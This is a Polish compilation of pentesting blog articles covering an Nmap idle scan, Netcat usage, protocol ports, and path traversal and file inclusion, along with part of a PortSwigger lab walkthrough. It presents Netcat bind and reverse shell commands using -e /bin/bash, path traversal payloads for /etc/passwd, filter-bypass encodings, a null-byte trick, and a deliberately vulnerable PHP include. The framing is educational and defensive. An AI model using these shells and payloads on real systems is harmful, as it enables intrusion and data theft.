Następnie atakujący podmienia adres źródłowy pakietu na adres IP hosta zombie i wysyła pakiety SYN do celu:

Cel odpowiada w zależności od stanu portu:

• Jeśli port jest otwarty, host zombie otrzyma pakiet SYN/ACK, na który odpowie pakietem RST.
• Jeśli port jest zamknięty, host zombie nic nie otrzyma.

Atakujący ponownie odczytuje IP ID hosta zombie. Jeśli numer wzrósł o więcej niż jeden, oznacza to, że host zombie wysłał dodatkowy pakiet RST, co wskazuje, że port był otwarty:

Podsumowanie

Nmap to potężne narzędzie, które pozwala na analizę sieci i wykrywanie otwartych portów. Dzięki różnym technikom skanowania możemy uzyskać cenne informacje o dostępnych usługach i zabezpieczeniach danej maszyny. Warto jednak pamiętać, że wyniki skanowania mogą być zafałszowane przez firewalle i inne mechanizmy obronne. Nmap jest nieocenionym narzędziem zarówno dla administratorów systemów, jak i specjalistów ds. bezpieczeństwa, ale jego skuteczność w dużej mierze zależy od naszej wiedzy, a także umiejętności interpretacji wyników.

Artykuł Nmap – jak sprawdzić otwarte porty | skanowanie portów pochodzi z serwisu Pentestuj.

Czym jest Netcat

Netcat to wszechstronne narzędzie sieciowe do testowania połączeń i komunikacji, a także prosty serwer. Netcat działa na systemach Linux, Windows oraz MacOS. Jest często nazywany „szwajcarskim scyzorykiem sieciowym” ze względu na możliwość wykonywania różnych zadań związanych z siecią. Netcat może być używany do zadań takich jak:

• Ustanawianie połączeń TCP i UDP – Netcat pozwala na inicjowanie połączeń zdalnych oraz nasłuchiwanie na określonych portach, co umożliwia komunikację pomiędzy hostami.
• Przesyłanie plików – Netcat może być używany do przesyłania plików pomiędzy hostami. Należy jednak zaznaczyć, że Netcat nie oferuje wbudowanego mechanizmu zabezpieczania przesyłanych danych, dlatego nie jest zalecany do bezpiecznego przesyłania plików.
• Skanowanie portów – Netcat umożliwia szybkie sprawdzenie, które porty na docelowym urządzeniu są otwarte, co jest przydatne podczas testów penetracyjnych. Jednak nie jest to jego główna funkcja, dlatego do bardziej zaawansowanego skanowania lepiej używać Nmapa.
• Tworzenie serwerów nasłuchujących – narzędzie może działać jako prosty serwer, który nasłuchuje na określonym porcie i obsługuje połączenia przychodzące. Warto dodać, że w tej roli Netcat może być używany do tworzenia prostych backdoorów, co bywa wykorzystywane zarówno w testach penetracyjnych, jak i przez atakujących.
• Diagnostyka, debugowanie i testy penetracyjne – Netcat jest pomocny w diagnozowaniu problemów z połączeniami, w testowaniu konfiguracji sieciowej oraz w testach penetracyjnych.

Jak ustanowić połączenie za pomocą Netcat

Netcat umożliwia tworzenie połączeń TCP lub UDP między dwoma hostami, gdzie jeden działa jako serwer nasłuchujący, a drugi jako klient, który inicjuje połączenie.

Jak ustanowić połączenie TCP

Skonfiguruj serwer nasłuchujący:

Na komputerze, który będzie nasłuchiwał połączeń (serwer), uruchom Netcat w trybie nasłuchu na określonym porcie:

nc -l -p <numer portu>

gdzie:

• -l – włącza tryb nasłuchu (listening).
• -p <numer portu> – określa numer portu (np. 5555).

Połącz się z serwerem jako klient:

nc <adres IP serwera> <numer portu>

gdzie:

• <adres IP serwera> – adres IP maszyny, na której uruchomiono Netcat w trybie nasłuchu.
• <numer portu> – port, na którym nasłuchuje serwer.

Jak ustanowić połączenie UDP

Netcat obsługuje nie tylko połączenia TCP, ale także UDP. Oto, jak ustanowić komunikację UDP za pomocą Netcat.

Skonfiguruj serwer nasłuchujący:

nc -u -l -p <numer portu>

Polecenie jest prawie takie samo jak przy TCP. Trzeba tylko dodać flagę -u.

Połącz się z serwerem jako klient:

nc -u <adres IP serwera> <numer portu>

Transfer plików

Możemy używać Netcata do przesyłania danych pomiędzy hostami. W tym celu trzeba skonfigurować maszynę wysyłającą oraz odbierającą dane.

Na maszynie odbierającej dane wpisz poniższe polecenie:

nc -l -p <numer portu> > otrzymane_dane.txt

gdzie:

• -l – włącza tryb nasłuchu (listening).
• -p – określa numer portu (np. 5555).
• > – przekierowuje odebrane dane do pliku otrzymane_dane.txt.

Na maszynie wysyłającej, wpisz poniższe polecenie:

nc <adres IP odbiorcy> <numer portu> < plik_do_wyslania.txt

gdzie:

• <adres IP odbiorcy> – adres IP maszyny odbierającej plik.
• <numer portu> – port, na którym nasłuchuje maszyna odbierająca.
• < – wskazuje, że dane do przesłania znajdują się w pliku plik_do_wyslania.txt.

To polecenie nawiązuje połączenie z maszyną odbiorczą i wysyła plik plik_do_wyslania.txt.

Backdoor i zdalny dostęp

Netcat może być użyty do utworzenia backdoora, umożliwiającego atakującemu zdalny dostęp do systemu ofiary.

Uwaga: Tworzenie backdoorów i uzyskiwanie zdalnego dostępu do systemów bez zgody ich właścicieli jest nieetyczne i nielegalne. Opisane w artykule techniki powinny być używane wyłącznie w celach edukacyjnych lub w ramach testów penetracyjnych przeprowadzanych za zgodą właściciela systemu.

Na komputerze ofiary włącz tryb nasłuchu:

nc -lp 5555 -e /bin/bash

gdzie:

• -l – włącza tryb nasłuchu (listening).
• -p – określa numer portu (np. 5555).
• -e /bin/bash – po nawiązaniu połączenia klient uzyska dostęp do powłoki Bash na maszynie, która uruchomiła Netcat.

Zwróć uwagę na to, że flagi można zapisywać łącznie lub osobno. Równoważny będzie zapis -lp oraz -l -p.

Na komputerze atakującego wykonaj poniższe polecenie:

nc <adres IP ofiary> 5555

• <adres IP ofiary> – adres IP maszyny nasłuchującej.
• 5555 – numer portu na którym nasłuchuje komputer ofiary, w tym przypadku jest to port 5555.

Powyższe polecenie jest używane do nawiązania połączenia techniką bind shell. W przypadku bind shell, komputer ofiary uruchamia Netcat w trybie nasłuchu na określonym porcie (tutaj 5555) i czeka na połączenia przychodzące. Kiedy atakujący połączy się z tym portem, zyskuje dostęp do powłoki systemowej ofiary. Problemem jest to, że firewall może blokować połączenia przychodzące. Dlatego z punktu widzenia atakującego dużo lepszą techniką jest reverse shell.

Reverse shell działa inaczej. W tym przypadku to komputer ofiary inicjuje połączenie z komputerem atakującego. Ofiara uruchamia Netcat, który łączy się z adresem IP atakującego na określonym porcie (np. 5555), a atakujący otrzymuje dostęp do powłoki ofiary.

Na komputerze atakującego włącz tryb nasłuchiwania:

nc -lp 5555

Na komputerze ofiary wykonaj poniższe polecenie:

nc <adres IP atakującego> 5555 -e /bin/bash

Atakujący może wykonać reverse shell na systemie ofiary bez fizycznego dostępu, wykorzystując różne luki w zabezpieczeniach. Jednym ze sposobów jest wykorzystanie luk w aplikacjach internetowych, które pozwalają na zdalne wykonanie kodu. Jeśli aplikacja ma nieprawidłową kontrolę nad danymi wejściowymi, atakujący może wysłać złośliwy kod, który uruchomi reverse shell na serwerze ofiary. Kolejną metodą są ataki phishingowe, gdzie atakujący wysyła e-maile lub tworzy fałszywe strony internetowe, które mają na celu skłonienie użytkownika do kliknięcia w złośliwy link lub pobrania załącznika zawierającego złośliwy kod. Atakujący może też manipulować ofiarą w taki sposób, by ta sama uruchomiła złośliwy kod.

Chatowanie za pomocą Netcata

Netcat umożliwia prowadzenie prostych rozmów tekstowych (chatów) w czasie rzeczywistym pomiędzy dwoma komputerami w tej samej sieci lub na odległych maszynach. Proces ten polega na skonfigurowaniu jednego komputera jako serwera nasłuchującego, a drugiego jako klienta, który się z nim łączy.

Warto pamiętać o tym, że rozmowy przez Netcat są przesyłane w formie zwykłego tekstu i nie są domyślnie szyfrowane, przez co dane mogą zostać przechwycone.

Poniżej przykład wysyłanych wiadomości pomiędzy dwiema maszynami w sieci lokalnej, które są uruchomione na VMware.

Włączam serwer nasłuchujący na maszynie o IP 192.168.128.131 na porcie 5555:

Na drugiej maszynie nawiązuję połączenie z serwerem nasłuchującym:

Teraz mogę wysłać wiadomość tekstową:

Wiadomość pokazała się na serwerze nasłuchującym. Wysyłam odpowiedź:

Odpowiedź pojawiła się na drugiej maszynie:

Skanowanie portów za pomocą Netcata

Netcat, pomimo że nie jest specjalistycznym narzędziem do skanowania portów, może być używany do tego celu.

Poniżej polecenie wykonujące skanowanie portów:

nc -v -n <adres IP> 1-100

• -v – tryb szczegółowy, wyświetla więcej informacji o połączeniach.
• -n – wymusza używanie bezpośrednich adresów IP zamiast nazw domenowych. Netcat nie będzie próbował rozwiązywać adresu IP na nazwę hosta.
• <adres IP> – określa adres IP zdalnego hosta, który jest sprawdzany pod kątem otwartych portów.
• 1-100 – określa zakres portów, które mają zostać zeskanowane. W powyższym przypadku Netcat będzie sprawdzać porty od 1 do 100.

Podsumowanie

Największą zaletą Netcata jest możliwość obsługi zarówno protokołów TCP jak i UDP, co czyni go niezwykle elastycznym narzędziem do różnych zadań sieciowych. Netcat jest bardzo prosty w obsłudze i można go szybko uruchomić. Dodatkowo, możliwość tworzenia prostych serwerów sprawia, że narzędzie to znajduje zastosowanie w testach penetracyjnych i diagnozowaniu problemów z siecią.

Jednakże Netcat nie jest pozbawiony wad. Brak natywnego szyfrowania komunikacji sprawia, że dane przesyłane za jego pomocą są podatne na podsłuch, co może stanowić poważne zagrożenie w kontekście bezpieczeństwa. Choć istnieją modyfikacje Netcata, które dodają szyfrowanie, nie są one w standardzie.

Artykuł Netcat – czym jest i jak go używać pochodzi z serwisu Pentestuj.

Kilka słów o warstwie transportowej

W procesie komunikacji pomiędzy urządzeniami w sieci, kluczową rolę pełni warstwa transportowa. Do jej głównych zadań należy nawiązanie połączenia, a także dalsza obsługa sesji pomiędzy hostami. Ponadto warstwa ta odpowiedzialna jest za segmentację danych (podział na mniejsze części), identyfikowanie poszczególnych aplikacji, a w razie utraty danych, retransmisja. Warstwa transportowa kontroluje także przepływ danych i na bieżąco śledzi połączenia pomiędzy hostami.

To właśnie dzięki śledzeniu połączeń można wysyłać i odbierać dane pochodzące z różnych aplikacji na jednym urządzeniu. Na jednym komputerze w tym samym momencie możesz odbierać pocztę, mieć włączonych kilka stron internetowych, rozmawiać przez komunikator, a także przesyłać dane przez FTP. Jednak nie byłoby to możliwe także bez segmentacji danych.

Warstwa transportowa dzieli przesyłane dane (pochodzące od różnych aplikacji) na mniejsze fragmenty i wysyła je naprzemiennie. Dzięki temu mniejsze porcje danych mogą na bieżąco być odbierane przez kilka aplikacji jednocześnie. Jeśli nie byłaby stosowana segmentacja i zostałaby wysłana na raz duża porcja danych pochodząca od jednej aplikacji, wtedy pozostałe aplikacje musiały czekać w kolejce. W takiej sytuacji nie byłoby możliwe efektywne korzystanie z kilku aplikacji na raz.

Teraz jak już wiemy jak działa warstwa transportowa, przejdźmy do definicji portu protokołu.

Definicja portu protokołu

Warstwa transportowa musi dostarczyć przesyłane dane do właściwej aplikacji. W tym właśnie pomagają porty protokołu. Numer portu jest to identyfikator liczbowy, który umożliwia rozpoznanie konkretnej usługi lub aplikacji działającej na urządzeniu. Jest to po prostu identyfikator danej usługi.

Porty współpracują z adresami IP, tworząc w ten sposób tzw. gniazda sieciowe (ang. sockets), które są wykorzystywane do przesyłania danych. Numer protokołu stanowi jeden z parametrów gniazda.

Gniazdo jest to dwukierunkowy punkt końcowy połączenia. Dwukierunkowość oznacza możliwość wysyłania oraz odbierania danych. Aplikacje wykorzystują gniazdo do komunikowania się przez sieć. Przykładowo adres IP identyfikuje urządzenie w sieci, np. 192.168.1.1, a port identyfikuje usługę na tym urządzeniu, np. port 80 dla HTTP (serwer WWW).

Jakie są numery portów

Organizacja IANA (ang. Internet Assigned Numbers Authority) zajmuje się zarządzaniem domenami, a także przydzielaniem adresów IP oraz numerów portów. Numery portów to wartości z zakresu od 0 do 65535, które zostały podzielone na trzy kategorie.

Porty ogólnie znane (ang. well-known ports)

Ogólnie znane porty to zakres numerów portów w protokole TCP/UDP, które zostały zarezerwowane dla określonych usług i aplikacji serwerowych. Obejmują zakres od 0 do 1023.

Te porty są używane przez popularne protokoły komunikacyjne, takie jak np. HTTP, FTP, czy SMTP. Każdy port odpowiada konkretnej usłudze, co ułatwia komunikację pomiędzy urządzeniami w sieci.

Poniżej znajduje się lista wybranych ogólnie znanych portów, które są przypisane do danych protokołów warstwy aplikacji:

UWAGA!
Administrator danego systemu może zmienić numer portu dla danej usługi. Praktyka ta jest stosowana w celu poprawienia bezpieczeństwa. W ten sposób można uniknąć ataków skierowanych na domyślne numery portów protokołów.

Porty zarejestrowane (ang. registered ports)

Pula z zakresu 1024 – 49151 obejmuje porty zarezerwowane dla usług i aplikacji, które są zainstalowane na komputerze użytkownika.

Porty dynamiczne/prywatne (ang. dynamic/private ports)

Kolejna grupa portów obejmuje zakres 49152 – 65535. Numery te są używane dynamicznie przez aplikacje klienckie do tworzenia tymczasowych połączeń.

Czy różne usługi mogą używać tego samego numeru portu?

Przeważnie jeden numer portu jest używany przez jedną usługę. Jednak zdarzają się wyjątki. Czasami dwie różne usługi mogą jednocześnie korzystać z tego samego numeru portu. W takim przypadku każda z usług musi działać na innym protokole warstwy transportowej (TCP lub UDP).

Niektóre usługi wykorzystują ten sam port i protokoły, co jest raczej rzadkością. Przykładem jest DNS, który korzysta z portu 53 za pomocą TCP oraz UDP.

Czasami jedna usługa korzysta z dwóch różnych portów, przy czym każdy z nich pełni inną funkcję. Przykładowo protokół FTP używa portu 20 do transferu plików, a portu 21 do transferu poleceń.

Artykuł Port protokołu – co to jest? pochodzi z serwisu Pentestuj.

Pod tym linkiem znajdziesz rozwiązania zadań wraz z omówieniem z platformy Web Security Academy. Po przeczytaniu artykułu zachęcam do utrwalenia swojej wiedzy poprzez rozwiązanie tych zadań 🙂

Jak działa Path Traversal

Podatność Path Traversal pojawia się wtedy, gdy aplikacja wykorzystuje dane kontrolowane przez użytkownika bez odpowiedniej walidacji. W takiej sytuacji atakujący może odpowiednio zmodyfikować zapytanie, aby uzyskać dostęp do plików i wrażliwych informacji, do których normalnie nie powinien mieć dostępu. Ważne jest również to jakie są ustawione uprawnienia do plików i katalogów na serwerze. Jeśli są zbyt wysokie, wtedy atakujący może poszerzyć swój wektor ataku. Path Traversal bardzo często jest furtką do dalszych ataków takich jak LFI (Local File Inclusion) oraz RFI (Remote File Inclusion). Obie podatności zostaną omówione w dalszej części artykułu.

Path Traversal może występować bezpośrednio w adresie URL, a także w parametrach przekazywanych do aplikacji lub w nagłówkach. Luka może wystąpić w wielu miejscach aplikacji, jednak w szczególności warto testować miejsca w których pliki są pobierane lub wgrywane na serwer, a także wszędzie tam gdzie są wczytywane style lub szablony. Warto podkreślić, że podatność Path Traversal nie dotyczy tylko aplikacji webowych.

Przykładowo mamy aplikację webową, która wyświetla awatar danego użytkownika. Aplikacja wykorzystuje parametr w adresie URL, aby określić które zdjęcie powinno zostać wyświetlone.

Przykładowy adres do grafiki z awatarem ma postać:

http://example.com/image?avatar=img678.png

Tak może wyglądać kod po stronie podatnej aplikacji:

<?php
$file = $_GET['avatar'];
include('var/www/images/' . $file);
?>

Parametr file określa który plik graficzny ma się wyświetlać danemu użytkownikowi. W normalnych warunkach powinna się wyświetlić grafika, której nazwa znajduje się w adresie URL w parametrze avatar.

Jednak kod jest podatny na ataki path traversal, ponieważ łączy dane wejściowe dostarczone przez użytkownika ze ścieżką do pliku bez odpowiedniej walidacji. Atakujący może łatwo wykorzystać tę lukę, dostarczając ładunek, taki jak np. ../../../etc/passwd, który umożliwia przechodzenie w górę hierarchii katalogów i uzyskiwanie dostępu do poufnych plików na serwerze. Ponieważ aplikacja nie jest odpowiednio zabezpieczona, atakujący może zmodyfikować powyższy adres zmieniając parametr avatar w poniższy sposób:

http://example.com/image?avatar=../../../etc/passwd

Zmanipulowany kod po stronie serwera wyglądałby następująco:

<?php
$file ='../../../etc/passwd';
include('var/www/images/' . $file);
?>

W efekcie serwer wskazuje pod adres:

/var/www/images/../../../etc/passwd

Znak ../ oznacza przejście do katalogu nadrzędnego, tak więc w rezultacie serwer wyświetli zawartość pliku etc/passwd, zamiast grafiki z awatarem.

Jeśli nie zapewnimy odpowiedniej walidacji przekazywanych danych do naszej aplikacji, ostatnią deską ratunku będą odpowiednio niskie uprawnienia. Jeśli będą one zbyt wysokie, wtedy atakujący z powodzeniem wykona swój atak.

Czym jest File Inclusion

File Inclusion to rodzaj podatności, która pozwala atakującym na dołączenie i wykonanie kodu z plików (lokalnych lub zdalnych) w kontekście aplikacji. Często występuje w językach programowania takich jak PHP, gdzie funkcje dołączające pliki (np. include(), require()) są źle zabezpieczone. Wyróżnia się dwa rodzaje podatności File Inclusion:

• Local File Inclusion (LFI) – to luka w zabezpieczeniach aplikacji, która polega na wyświetleniu zawartości plików lub wykonaniu kodu z plików znajdujących się lokalnie na serwerze. LFI może prowadzić do dalszej eskalacji ataku. Atakujący może nawet przejąć kontrolę nad serwerem.
• Remote File Inclusion (RFI) – to luka, która pozwala atakującemu na dołączenie i wykonanie kodu z plików znajdujących się na zdalnym serwerze. W przypadku gdy aplikacja jest źle skonfigurowana (np. funkcja allow_url_include w PHP jest włączona), plik zostanie pobrany i wykonany w kontekście serwera aplikacji. W ten sposób można uruchomić złośliwy kod, który pozwala na kradzież danych, wykonanie dowolnych poleceń lub nawet przejęcie kontroli nad serwerem.

Jaka jest różnica pomiędzy Path Traversal a File Inclusion

1. Charakter podatności
   Path Traversal umożliwia atakującemu odczyt plików i katalogów do których nie powinien mieć dostępu.
   Natomiast File Inclusion pozwala na dołączanie lub wykonywanie i odczytywanie dowolnych plików z lokalnego lub zdalnego serwera.
2. Wpływ na serwer
   Path Traversal umożliwia atakującemu dostęp do poufnych plików i katalogów na serwerze. Może to prowadzić do kradzieży danych lub nawet przejęcia serwera.
   File Inclusion umożliwia atakującemu wykonanie dowolnego kodu z pliku na serwerze. Prowadzi to do całkowitego naruszenia bezpieczeństwa serwera.
3. Skutek
   Obie podatności mogą nieść ze sobą poważne skutki. Jednak przyjmuje się, że File Inclusion jest poważniejsza z uwagi na możliwość wykonania dowolnego kodu na serwerze.
4. Przyczyna
   Zarówno Path Traversal, jak i File Inclusion mogą być spowodowane przez niewystarczającą walidację oraz brak odpowiedniej kontroli dostępu. Path Traversal występuje, gdy aplikacja nie może zweryfikować danych wejściowych użytkownika używanych do uzyskania dostępu do systemu plików, natomiast File Inclusion występuje, gdy dane wejściowe użytkownika są używane do dołączenia plików ze zdalnego lub lokalnego serwera bez odpowiedniej walidacji.

Jak ominąć filtry

Path Traversal jest znaną i dość popularną podatnością i w związku z tym oprogramowania klasy IDS (ang. Intrusion Detection System), czyli systemy wykrywania włamań, wykrywają i skutecznie unicestwiają znane ataki, poprzez usuwanie z zapytań ciągów ../ oraz ich wariacji. Poniżej opisuję kilka sposobów na ominięcie filtrów.

Użycie wariacji znaków . / \

Jeśli system ochrony usuwa tylko raz z zapytania sekwencję ../, bez ponownego sprawdzenia przekazanego ciągu zapytania, jest możliwe ominięcie zabezpieczeń dodając dodatkowe znaki kropek i ukośników. Takie zapytanie może mieć wtedy postać:

....//....//....//etc/passwd

Sekwencje w czerwonych ramkach na poniższym zrzucie są usuwane przez system zabezpieczający:

Po usunięciu powyższych znaków otrzymujemy zapytanie jak na poniższym rzucie:

Jak widzisz system zabezpieczający powinien dokonać rekurencyjnej walidacji.

Kodowanie znaków

Jeśli jednak system zabezpieczający działa prawidłowo w powyższym zakresie, możesz zastosować:

• kodowanie URL (. = %2E, / = %2F, \ = %5C)
• podwójne kodowanie URL (. = %252E, / = %252F, \ = %255C)
• kodowanie UTF-16 (. = %u002e, / = %u2215, \ = %u2216)
• pojedyncze lub wielokrotne kodowanie UTF-8 (. = %c0%2e , / = %c0%af, \ = %c0%5c).

Poniżej zestawienie w tabelce:

Można również mieszać ze sobą różne rodzaje kodowania, aby utrudnić detekcję. W niektórych systemach można zamienić zwykłe ukośniki na odwrotne.

Zastosowanie bajtu zerowego

W sytuacji gdy aplikacja wymaga, aby podana przez użytkownika nazwa pliku kończyła się oczekiwanym rozszerzeniem, np. .png, wówczas możliwe jest użycie bajtu zerowego, aby skutecznie zakończyć ścieżkę pliku przed wymaganym rozszerzeniem:

filename=../../../etc/passwd%00.png

Bajt zerowy (inaczej znak pusty, null character) jest zdefiniowany w standardach ASCII i Unicode Bajt. Oznacza koniec łańcucha. Bajt zerowy jest oznaczony: %00. Wszystko co się za nim znajduje jest ignorowane.

Użycie ścieżki bezwzględnej

Czasem może być tak, że aplikacja pozwala na użycie ścieżki bezwzględnej. Więcej na ten temat przeczytasz w tym artykule: Podatność Path Traversal – rozwiązanie zadań PortSwigger wraz z omówieniem.

Narzędzia do lokalizowania podatności Path Traversal

Podatności Path Traversal można szukać ręcznie. W takim przypadku wystarczy program Burp Suite lub OWASP ZAP, za pomocą których możemy przechwytywać zapytania i je modyfikować.

Drugą opcją jest skorzystanie z automatycznych skanerów podatności np. DotDotPwn. Oczywiście wyższej wymienione programy również posiadają zaawansowane skanery.

Poniższej znajdziesz listę narzędzi, które są bardzo pomocne w szukaniu podatności Path Traversal:

• Burp Suite –  jest to najpopularniejsze narzędzie do przechwytywania i modyfikowania zapytań do serwera. W wersji Community dostępny jest moduł Intruder za pomocą którego można sprawdzić dostępność popularnych lokacji na serwerach poprzez fuzzing. Należy jednak zaznaczyć, że w bezpłatnej wersji szybkość fuzzowania jest znacznie wolniejsza niż w wersji Professional. Ponadto w wersji płatnej do dyspozycji mamy skaner, który potrafi wykryć m.in. podatność Path Traversal.
• OWASP ZAP (Zed Attack Proxy) – jest to alternatywa dla Burp Suite. OWASP ZAP jest narzędziem open source i jest rozwijany przez Open Web Application Security Project (OWASP). OWASP ZAP również posiada skaner podatności i jest dostępny w pełni za free.
• DirBuster – narzędzie to również jest rozwijane przez OWASP. Za jego pomocą można zlokalizować ukryte pliki i katalogi poprzez fuzzing.
• DotDotPwn – narzędzie to, jak sama nazwa wskazuje, jest specjalnie zaprojektowane do testowania luk w zabezpieczeniach typu Directory Traversal. Działa poprzez wysyłanie specjalnie spreparowanych żądań do serwera i analizowanie odpowiedzi.

Czym może skutkować obecność Path Traversal i File Insclusion w aplikacji

Wykorzystanie luki w zabezpieczeniach typu Path Traversal oraz File Inclusion może prowadzić do różnych konsekwencji, w zależności od specyfiki podatności, a także konfiguracji serwera, np.:

• Odczyt dowolnych plików – najprostszym sposobem wykorzystania tej podatności jest uzyskanie dostępu do dowolnych katalogów oraz plików na serwerze. Może to skutkować ujawnieniem poufnych informacji, takich jak pliki konfiguracyjne, kod źródłowy aplikacji, dane do logowania do bazy danych, itp. Tego typu wyciek danych może stanowić poważne zagrożenie dla bezpieczeństwa całego systemu. Warto również wspomnieć o tym, że w niektórych przypadkach możliwe jest również wylistowanie zawartości danego katalogu.
• Wgrywanie dowolnych plików – w pewnych sytuacjach atakujący może wykorzystać podatność do wgrywania swoich plików na serwer. Przykładowo atakujący może zmodyfikować plik konfiguracyjny, co może zakłócić działanie aplikacji lub nawet pozwolić atakującemu na uruchomienie własnego kodu. Atakujący może też nadpisać plik z danymi, co może skutkować ich utratą lub uszkodzeniem.
• Wykonanie kodu na serwerze – w niektórych przypadkach atakujący może wykorzystać podatność do uruchomienia dowolnego kodu na serwerze. Zazwyczaj osiąga się to poprzez zapisanie pliku, który później zostanie wykonany przez serwer. Jeśli aplikacja internetowa działa w PHP i atakujący może dzięki luce zapisać plik z rozszerzeniem .php na serwerze, może później wymusić jego uruchomienie przez serwer. W efekcie serwer wykona kod zawarty w pliku, co pozwoli atakującemu przejąć nad nim kontrolę.

Jak zabezpieczyć swoją aplikację przed Path Traversal

Odpowiednia walidacja

Upewnij się, że wszystkie dane wejściowe, które są kontrolowane przez użytkownika są prawidłowo walidowane i oczyszczane. Jest to kluczowy krok, aby uniemożliwić atakującym manipulowanie ścieżkami oraz dołączanie złośliwych plików.

Unikaj czarnych list

Czarna lista jest złą praktyką, ponieważ istnieje więcej sposobów na wykonanie tego samego żądania. Sprytni atakujący zawsze znajdą sposoby na ominięcie ograniczeń dla danych wejściowych dostarczanych przez użytkownika. Na przykład ../../../etc/ można również zapisać w następujący sposób: ..%2F..%2F..%2Fetc%2F.

Jeśli chcesz mieć dostęp do określonych plików, użyj białą listę obejmującą pliki, które mogą być dołączane do żądania. Jeśli to możliwe, odrzuć każde żądanie, które nie spełnia tych kryteriów.

Odpowiednio skonfiguruj serwer

Skonfiguruj ustawienia serwera, tak aby uniemożliwić zdalne dołączanie plików, a także ograniczyć możliwość dostępu skryptów do systemu plików. W przypadku PHP dyrektywy takie jak allow_url_fopen i allow_url_include powinny być wyłączone, jeśli nie są potrzebne do działania aplikacji.

Regularnie testuj swoją aplikację

Warto regularnie przeprowadzać audyty bezpieczeństwa aplikacji pod kątem występowania potencjalnych luk. Zadanie to możemy sobie ułatwić korzystając z zautomatyzowanych narzędzi. Pamiętaj jednak, że nie zawsze skaner wykryje wszystkie luki. Dlatego właśnie warto także przeprowadzić ręczną kontrolę.

Podsumowanie

Luki w zabezpieczeniach związane z przechodzeniem przez ścieżki stanowią poważne zagrożenie, które może skutkować ujawnieniem poufnych danych lub nawet wykonaniem dowolnego kodu. Pomimo, że Path Traversal i File Inclusion nie są nowymi podatnościami, ale nadal można je znaleźć w różnego rodzajach aplikacjach. Programiści powinni zdawać sobie sprawę z tego ryzyka i podjąć działania, aby je ograniczyć w swoich projektach.

Artykuł Co to jest podatność Path Traversal i File Inclusion? Czym się różnią obie podatności? pochodzi z serwisu Pentestuj.

File Path Traversal simple – zadanie numer 1

Żeby rozwiązać to zadanie musimy wyświetlić zawartość pliku etc/passwd. Jest to plik który standardowo występuje w systemie Linux. W pliku tym znajdują się informacje na temat zarejestrowanych użytkowników w danym systemie. W opisie zadania mamy wskazówkę, że luka znajduje się w mechanizmie odpowiedzialnym za wyświetlanie zdjęć produktowych.

Treść laboratorium:

Zajrzyjmy jak wygląda pierwsze laboratorium. Jest to sklep internetowy. Jeśli klikniemy w dany produkt, możemy zauważyć, że przy każdym produkcie są gwiazdki z oceną, cena, zdjęcie, opis oraz link powrotny. Ponieważ w opisie zadania jest informacja, że luka znajduje się w mechanizmie wyświetlania obrazków produktów, musimy bliżej się temu przyjrzeć.

Otwórzmy zdjęcie dowolnego produktu w nowej zakładce, żeby zobaczyć jaką strukturę ma adres URL:

Zauważ, że nazwa obrazka jest wartością przekazywaną do parametru filename.

Dla porównania sprawdźmy adres URL grafiki przy innym produkcie:

Adres URL tych dwóch obrazków różni się tylko wartością parametru filename.

Zajrzyjmy jeszcze do źródła strony w miejscu gdzie wyświetla się nasza grafika:

Możemy z tego wywnioskować, że z adresu URL jest pobierana nazwa obrazka w formie jawnej i jest przekazywana do kodu odpowiedzialnego za wyświetlanie grafiki na stronie. Tak więc w tym miejscu spróbujemy dodać nasz payload, czyli przekażemy zmodyfikowaną wartość do parametru filename.

Odpalmy program Burp Suite. W zakładce Proxy -> HTTP History znajdujemy żądanie wyświetlenia grafiki do wybranego produktu. Niestety u mnie nie widać tego żądania, ponieważ w filtrowaniu mam wyłączony ten typ żądania

Żeby to włączyć, w zakładce Proxy -> HTTP History kliknij Filter settings: Hiding CSS and general binary content. Następnie zaznacz checkbox Images.

Od teraz interesujące nas żądanie pojawiło się w historii. Klikamy na nie prawym przyciskiem myszy i wysyłamy do Repeatera. Dzięki temu będziemy mogli zmodyfikować je dodając nasz payload i ponownie wysyłając do serwera.

Teraz spróbujemy przejść o jeden katalog wyżej i wyświetlić zawartość etc/passwd zastępując nazwę pliku w parametrze filename sekwencją:

../etc/passwd

Po wpisaniu naszego payloada w parametrze filename klikamy przycisk Send. W ten sposób wyślemy zmodyfikowane żądanie do serwera. Niestety w odpowiedzi mamy informację „No such file”, tak więc payload nie zadziałał.

Spróbujmy przejść o jeszcze jeden katalog wyżej dodając sekwencję ../

../../etc/passwd

Niestety nadal nie działa. Spróbujmy przejść jeszcze wyżej:

../../../etc/passwd

Udało się. W odpowiedzi otrzymaliśmy zawartość pliku etc/passwd.

File Path Traversal, traversal sequences blocked with absolute path bypass – zadanie numer 2

Treść zadania:

Tu również luka znajduje się w mechanizmie wyświetlania obrazka produktu i też musimy odczytać zawartość pliku etc/passwd. Jednak aplikacja blokuje sekwencje przechodzenia do katalogu wyżej, tak więc sekwencja ../ raczej tu nie zadziała, ale i tak spróbujemy jej użyć 😉

Odpalamy Burp Suite, przechodzimy na podstronę z wybranym produktem. Następnie z poziomu Burp Suite przechodzimy do zakładki Proxy -> HTTP History i znajdujemy żądanie wyświetlenia grafiki do wybranego produktu. Jeśli żądanie się u Ciebie nie wyświetla, patrz punkt wyżej (w poprzednim zadaniu wyjaśniam co należy zrobić).

Następnie przesyłamy żądanie do Repeatera i wstawiamy w parametrze filename payload z poprzedniego laboratorium:

Tak jak przypuszczaliśmy, to nie zadziała. W aplikacji został wdrożony mechanizm zabezpieczający, który usuwa z zapytania ciąg znaków ../, tak więc musimy jakoś to ominąć.

W opisie laboratorium mamy wskazówkę „treats the supplied filename as being relative to a default working directory”. Chodzi o to, że wartość przekazana w parametrze filename (domyślnie jest to nazwa pliku wraz z rozszerzeniem) traktowana jest jako względna (relatywna) w stosunku do domyślnego katalogu roboczego. Przypomnijmy sobie czym jest ścieżka względna (relatywna) oraz bezwzględna (absolutna):

Ścieżka względna (relatywna) – określa lokalizację pliku lub folderu w odniesieniu do bieżącego katalogu.

Przykład ścieżki względnej:
./images/45.jpg

gdzie:
. (znak kropki) – oznacza bieżący katalog,
images – nazwa folderu w którym znajduje się nasz plik,
45.jpg – nazwa pliku graficznego, który chcemy odczytać.

Ścieżka bezwzględna (absolutna) – określa pełną ścieżkę począwszy od katalogu głównego aż do wybranego katalogu lub pliku, czyli zaczyna się aż od korzenia systemu plików do danego pliku.

Przykłady ścieżki bezwzględnej:
/var/www/images/45.jpg
/etc/passwd

W tym laboratorium aplikacja usuwa z zapytania sekwencję ../, tak więc nie możemy w ten sposób wyjść poza bieżący katalog. Spróbujmy zatem podać absolutną ścieżkę do pliku passwd. Plik ten znajduje się w lokalizacji:

/etc/passwd

Jak widzimy na poniższym zrzucie udało nam się obejść zabezpieczenie.

